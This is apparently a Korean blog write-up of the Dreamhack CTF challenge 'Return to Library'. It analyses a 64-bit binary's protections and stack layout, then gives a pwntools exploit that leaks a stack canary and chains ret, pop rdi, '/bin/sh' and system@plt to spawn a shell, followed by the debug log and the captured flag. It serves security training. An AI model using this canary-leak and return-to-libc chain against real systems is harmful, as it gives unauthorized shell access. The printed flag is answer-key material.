Description

    Exploit Tech: Return to Library에서 실습하는 문제입니다.

    Files

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ file rtl
    rtl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9c3abd745cccbfbd94ffea0231133838853c9ae, not stripped

    리눅스 64비트용 실행 파일인 rtl

    분석

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ checksec rtl
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    스택 카나리 보호 기법이 적용되어있는데, 이번에는 NX 보호기법까지 적용되어있다.

    NX 보호기법이란,
    메모리 공간의 실행 권한을 뺐는 것.
    이는 스택뿐만 아니라 힙 영역도 포함된다.
    따라서 우리가 쉘 코드를 삽입했던 스택 영역의 실행 권한을 제거하여 쉘 코드 삽입을 무력화시킨다.

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[56]; // [rsp+0h] [rbp-40h] BYREF
      unsigned __int64 v5; // [rsp+38h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(_bss_start, 0LL, 2, 0LL);
      system("echo 'system@plt");
      puts("[1] Leak Canary");
      printf("Buf: ");
      read(0, buf, 0x100uLL);
      printf("Buf: %s\n", buf);
      puts("[2] Overwrite return address");
      printf("Buf: ");
      read(0, buf, 0x100uLL);
      return 0;
    }

    스택은 아래와 같이 나타낼 수 있다.

    main() ret address, 8 byte
    ————————————–
    이전 함수의 base pointer, 8 byte <- rbp
    ————————————–
    Canary, 8 byte <- rbp-8
    ————————————–
    buf, 56byte <- rbp-64


    버퍼 오버플로우를 통해 플래그를 얻을 수 있다.

    처음 buf 입력받을때: 스택 카나리의 \x00 1바이트 값을 덮어써서 유출시키게 만들고,
    두번째로 buf 입력받을때: RTL 기법으로 쉘을 획득할 수 있다.

    여기서 RTL (Return To Library, Return-into-libc 기법)이란?
    역시 overflow 공격에 기반하며, 버퍼를 overflow시켜 return address를 조작하여 실행의 흐름을 libc 영역으로 돌려서 원하는 libc 함수를 수행시키게 만든다.
    ASLR 보호기법이 적용되지 않은 경우, libc의 주소는 변하지 않아 이 라이브러리에 있는 system 함수를 사용하면 될 것이다.

    여기서는 rtl 바이너리만으로 안에 있는 system plt를 이용하여 공격하고자 한다.

    따라서 공격 페이로드를 짜보면 다음과 같다.

    처음으로 buf 입력받을시 (스택 카나리 유출을 위해서):
    (buf에 채울 56바이트 더미 데이터) + (스택 카나리 \x00에 덮을 1바이트 더미 데이터)

    두번째로 buf 입력받을시 (쉘 획득을 위해서):
    (buf에 채울 56바이트 더미 데이터) + (스택 카나리 8바이트) + (8바이트 더미 데이터) + ret 주소 + pop rdi; ret 주소 + “/bin/sh” 주소 + system plt 주소

    Solution

    from pwn import *
    
    context.log_level = 'debug'
    
    #p = process('./rtl')
    p = remote('host3.dreamhack.games', 19496)
    context(arch='amd64',os='linux')
    
    payload = b"\x41"*57
    p.recvuntil('Buf: ');
    p.send(payload)
    
    canary = p.recvline().split(payload)[1][:7]
    canary = b"\x00" + canary
    canary = u64(canary)
    print("[+] Got Canary: " + hex(canary))
    
    payload2 = b"\x41"*56
    payload2 += p64(canary)
    payload2 +=  b"\x41" * 8
    
    e = ELF("./rtl")
    r = ROP(e)
    system_plt = e.symbols['system']
    sh = next(e.search(b'/bin/sh'))
    pop_rdi = r.find_gadget(['pop rdi'])[0]
    ret = r.find_gadget(['ret'])[0]
    print("[+] system_plt: " + hex(system_plt));
    print("[+] sh: " + hex(sh));
    print("[+] pop_rdi: " + hex(pop_rdi));
    print("[+] ret: " + hex(ret));
    
    payload2 += p64(ret)
    payload2 += p64(pop_rdi)
    payload2 += p64(sh)
    payload2 += p64(system_plt)
    
    p.send(payload2)
    
    p.interactive()

    FLAG

    DH{13e0d0ddf0c71c0ac4410687c11e6b00}

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ python3 pwnx.py
    [+] Opening connection to host3.dreamhack.games on port 19496: Done
    [DEBUG] Received 0xf bytes:
        b'[1] Leak Canary'
    [DEBUG] Received 0x6 bytes:
        b'\n'
        b'Buf: '
    [DEBUG] Sent 0x39 bytes:
        b'A' * 0x39
    [DEBUG] Received 0x49 bytes:
        00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA│
        00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 5f 9c  │AAAA│AAAA│AAAA│AA_·│
        00000040  dc a4 d0 fe  fd f0 07 40  0a                        │····│···@│·│
        00000049
    [+] Got Canary: 0xfdfed0a4dc9c5f00
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    [*] Loaded 14 cached gadgets for './rtl'
    [+] system_plt: 0x4005d0
    [+] sh: 0x400874
    [+] pop_rdi: 0x400853
    [+] ret: 0x400285
    [DEBUG] Sent 0x68 bytes:
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000030  41 41 41 41  41 41 41 41  00 5f 9c dc  a4 d0 fe fd  │AAAA│AAAA│·_··│····│
        00000040  41 41 41 41  41 41 41 41  85 02 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
        00000050  53 08 40 00  00 00 00 00  74 08 40 00  00 00 00 00  │S·@·│····│t·@·│····│
        00000060  d0 05 40 00  00 00 00 00                            │··@·│····│
        00000068
    [*] Switching to interactive mode
    [DEBUG] Received 0x22 bytes:
        b'[2] Overwrite return address\n'
        b'Buf: '
    [2] Overwrite return address
    Buf: $ ls
    [DEBUG] Sent 0x3 bytes:
        b'ls\n'
    [DEBUG] Received 0x10 bytes:
        b'flag\n'
        b'rtl\n'
        b'run.sh\n'
    flag
    rtl
    run.sh
    $ cat flag
    [DEBUG] Sent 0x9 bytes:
        b'cat flag\n'
    [DEBUG] Received 0x25 bytes:
        b'DH{13e0d0ddf0c71c0ac4410687c11e6b00}\n'
    DH{13e0d0ddf0c71c0ac4410687c11e6b00}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다